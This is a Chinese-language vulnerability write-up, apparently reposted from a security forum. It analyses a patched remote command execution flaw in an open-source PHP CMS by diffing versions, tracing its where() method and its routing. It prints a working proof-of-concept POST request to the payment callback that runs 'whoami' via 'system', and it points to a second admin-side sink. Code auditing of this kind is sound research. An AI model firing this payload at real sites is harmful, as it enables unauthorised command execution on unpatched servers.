前几日在浏览github项目时,发现之前审计过的一个cms更新了,从日志中看到修复了一个安全漏洞,并且源码是开源的,所以根据版本对比找到修补的地方,进而发现一个命令执行的漏洞
前几日在浏览github项目时,发现之前审计过的一个cms更新了,从日志中看到修复了一个安全漏洞,并且源码是开源的,所以根据版本对比找到修补的地方,进而发现一个命令执行的漏洞
0x01 漏洞发现
前几日在浏览github项目时,发现之前审计过的一个cms更新了,从日志中看到修复了一个安全漏洞,由于源码是开源的,所以可以根据版本对比找到修补的地方,进而发现其修复的地方。
然后查看修改记录,最后锁定这样一处可疑的地方,因为只有这里对参数进行了判断。修复方式时通过对post传入的参数进行了判断是否为空且是否为字符串
然后我们下载未修复的版本,使用phpstrom定位到代码进行审计。
0x02 漏洞分析
了解了该cms的路由,接下来查看被修复的这个地方,通过POST传参out_trade_no
之后传递给了下面的where
语句
关键语句:
$out_trade_no = $_POST['out_trade_no'];
$order = D('order')->field('id,order_sn,status,userid,username,paytype,money,quantity,`type`,`desc`')->where(array('order_sn' => $out_trade_no))->find();
通过这个代码可以分析出是执行了数据库查询的语句,但是这里也不可能发生sql注入,应为where语句中的参数采用了数组的传递方式,可以有效的避免sql注入漏洞,因为通过数组传递的参数会经过addslashes
和htmlspecialchars
的过滤。
所以主要查看where
语句中是对out_trade_no
是如何处理的
这里对传入的$arr
有两种处理方法,首先判断$arr
是否为数组,我们先将判断为数组的部分折叠。如果不是数组,则直接拼接到$this->key['where']['str']
中返回,这里如果没有对参数做相关过滤会造成sql注入。但是这里传入的是个数组,所以暂时不关注这里
接着我们主要查看where方法时如何处理数组的。
先看前半部分,func_get_args()
是 PHP 中的一个函数,用于获取传递给函数的所有参数。首先会遍历该数组,并且判断对每个值中的键值对进行遍历,其中 $kk
是该数组的键,$vv
是该数组的值。当$vv
不是个数组,会根据$vv
的值构建SQL语句匹配条件。
在上面的补丁中也强制判断了参数必须是字符串,所以漏洞应该出现在传入的参数时数组的情况下。
所以主要来看一下当$vv
为数组的情况下是如何处理的。
这里首先就看到了$fun($rule)
这个地方,如果$fun
和$rule
就可以执行任意函数和传参,这里通过一个三元运算符判断的。
这里的$fun
和$rule
又是通过$vv[1]
和$vv[2]
得来的。至于$vv[0]
则是通过上面的$exp_arr
得到对应的运算符和逻辑表达式。
除此之外,由于$exp
也是从$vv[0]
得来的,所以在传参是必须有要这个键,从三元表达式可以看出,该值可以为空,也可以是从$exp_arr
中的任意一个键
了解完漏洞的原理,其次会对该cms的路由进行分析,查看怎样才能触发这个函数。
0x03 路由分析
经过分析该cms有三种获取路由信息的方式:
在初始化过程会在这里解析PATH_INFO模式,这里会先判断是否存在$_GET['s']
,如果存在则直接赋值给PATH_INFO
,
或者对url路径使用/
为分隔符,并去除结尾的.html
后缀和index.php
,然后分别取第一位第二位和第三位作为$_GET['m']
,$_GET['c']
,$_GET['a']
然后根据route_m``route_c``route_a
这几个方法分别通过从url中获取m
c
a
参数作为模块名,控制器名和方法名。
通过这种方式可以得出
第一种路由信息为http://127.0.0.1/s=模块名/控制器名/方法名
第二种路由信息为:http://127.0.0.1/模块名/控制器名/方法名.html
第三种路由信息为http://127.0.0.1/?m=模块名&c=控制器名&a=方法名
。
所对应的文件路径为 ./application/模块名/controller/控制器.php,所对应的方法则是传递过来的方法
0x04 漏洞复现
接下来查看他的路由
所以这里构建poc:
POST /?m=pay&c=index&a=pay_callback HTTP/1.1
Host: 127.0.0.1:8081
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Cookie: XDEBUG_SESSION=PHPSTORM
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
out_trade_no[0]=eq&out_trade_no[1]=whoami&out_trade_no[2]=system
成功执行命令。
0x05 举一反三
既然知道了出发点是通过where
语句的,并且从官方的修复方式来看只是对传参的地方做了修复,那会不会存在其他对参数控制不严的地方直接拼接到where语句。首先可以再找找哪里调用where
语句,并且满足以下条件:参数必须是以数组形式传递的,并且传递的数组的值是可控的。
使用正则->where(array(.*?)->
进行搜索,然后寻找传递的数组的值是可控的的地方,当然也可以使用正则->where()->
进行搜索,因为参数是在别的地方复制的数组类型。
这里找到这样一处,在后台添加管理员的地方,这里的$_POST["adminname"]
是直接传参的
登陆后台后点击管理员管理,在点击添加管理员,
随便输入用户名和密码,然后抓包
然后修改roleid为下面payload发包
文章来源:奇安信攻防社区
作者:中铁13层打工人
链接:https://forum.butian.net/share/3077
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
原文始发于微信公众号(黑白之道):记一次rce漏洞的代码分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论